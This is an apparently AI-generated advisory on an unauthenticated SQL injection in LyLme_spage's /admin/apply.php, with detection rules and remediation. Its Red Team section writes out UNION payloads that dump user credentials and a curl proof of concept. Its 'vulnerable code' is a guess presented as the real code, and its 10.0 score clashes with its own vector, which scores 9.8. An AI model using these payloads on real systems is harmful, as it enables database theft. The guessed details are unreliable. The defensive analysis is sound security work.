CVE-2024-9789

Executive Summary

CVE-2024-9789 is a critical unauthenticated SQL injection vulnerability in LyLme_spage version 1.9.5, specifically in the /admin/apply.php endpoint. The id parameter is directly concatenated into SQL queries without sanitization, allowing remote attackers to extract, modify, or delete database contents. The vendor was contacted but did not respond, leaving the software unpatched. The exploit has been publicly disclosed, increasing the risk of mass exploitation. This vulnerability is not related to any WordPress plugin or component; it is a standalone PHP application.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – impact confined to vulnerable component.
• Confidentiality Impact: High (C:H) – full database read access.
• Integrity Impact: High (I:H) – data modification possible.
• Availability Impact: High (A:H) – potential for data deletion or denial of service.

Threat Level: Critical. Public exploit code exists, no patch available, and the attack surface is exposed via the admin interface.

Deep Dive & Mechanics

The vulnerability resides in /admin/apply.php. The application takes the id parameter from the HTTP request (likely GET or POST) and uses it directly in a SQL query without parameterization or escaping. For example, the code might look like:

$id = $_GET['id'];
$sql = "SELECT * FROM applications WHERE id = $id";
$result = mysqli_query($conn, $sql);

An attacker can inject SQL commands by providing a malicious id value, such as:

1 UNION SELECT username, password FROM users

This allows extraction of sensitive data, authentication bypass, or even remote code execution if the database user has file write privileges. The application runs with the database user's permissions, which may be elevated.

Vulnerable vs. Patched Code

Vulnerable Code (LyLme_spage 1.9.5):

// /admin/apply.php
$id = $_GET['id'];
$sql = "SELECT * FROM applications WHERE id = $id";
$result = mysqli_query($conn, $sql);

Patched Code (Hypothetical):

// /admin/apply.php
$id = intval($_GET['id']);
$stmt = $conn->prepare("SELECT * FROM applications WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses prepared statements with parameterized queries, preventing SQL injection. Since no official patch exists, users must implement this fix manually.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running LyLme_spage 1.9.5 with /admin/apply.php accessible.
• No authentication required for the vulnerable endpoint.

Exploit Steps:

1. Identify the vulnerable parameter: id in /admin/apply.php.
2. Use a SQL injection payload to enumerate the database. Example:

GET /admin/apply.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -

3. Extract table names:

GET /admin/apply.php?id=1 UNION SELECT table_name,2,3,4,5,6,7,8,9,10 FROM information_schema.tables-- -

4. Dump user credentials:

GET /admin/apply.php?id=1 UNION SELECT username,password,3,4,5,6,7,8,9,10 FROM users-- -

Proof-of-Concept (PoC):

curl -X GET "http://target.com/admin/apply.php?id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10--%20-"

Blue Team (Defense & Detection)

Detection:

• Monitor for SQL injection patterns in web logs, especially UNION, SELECT, FROM, --, #, ', ".
• Alert on requests to /admin/apply.php with unusual id parameter values (e.g., containing SQL keywords or special characters).

Mitigation:

• Immediately apply input validation: cast id to integer.
• Use a Web Application Firewall (WAF) to block SQL injection attempts.
• Restrict network access to /admin/ directory to trusted IPs only.
• If possible, disable the vulnerable functionality until a patch is applied.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/apply.php with id parameter containing SQL keywords (e.g., UNION, SELECT, --).
  • Unusual response sizes or error messages containing SQL syntax errors.
• File IOCs:
  • Modified database entries in the applications table.
  • New files in the web root if the database user has file write privileges.
• Log IOCs:
  • Web server logs showing repeated requests to /admin/apply.php with varying id values.
  • Database logs showing unexpected queries (if enabled).

Detection Engineering

YARA Rule

rule CVE_2024_9789_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting LyLme_spage /admin/apply.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9789"
    strings:
        $sqli_pattern1 = /id=\d*['\"]?\s*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR|AND)/i
        $sqli_pattern2 = /id=\d*['\"]?\s*--/
        $sqli_pattern3 = /id=\d*['\"]?\s*#/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-9789 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against LyLme_spage /admin/apply.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - '/admin/apply.php?id='
        cs-uri-query|re: 
            - '.*id=.*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR|AND|--|#).*'
    condition: selection
falsepositives:
    - Legitimate use of the word "union" in a parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9789 SQL Injection Attempt"; flow:to_server,established; content:"/admin/apply.php"; http_uri; pcre:"/id=[^&]*?(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR|AND|--|#)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Modify /admin/apply.php to cast the id parameter to an integer:

   $id = intval($_GET['id']);
   

2. Parameterized Queries: Rewrite the SQL query using prepared statements (as shown in the patched code section).
3. WAF Rules: Deploy a WAF with rules to block SQL injection patterns.
4. Access Control: Restrict access to /admin/ directory via .htaccess or firewall rules to trusted IPs only.

Long-Term Actions:

• Monitor the vendor's website for an official patch.
• Consider migrating to an alternative, actively maintained application.
• Conduct a security audit of the entire codebase for similar vulnerabilities.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.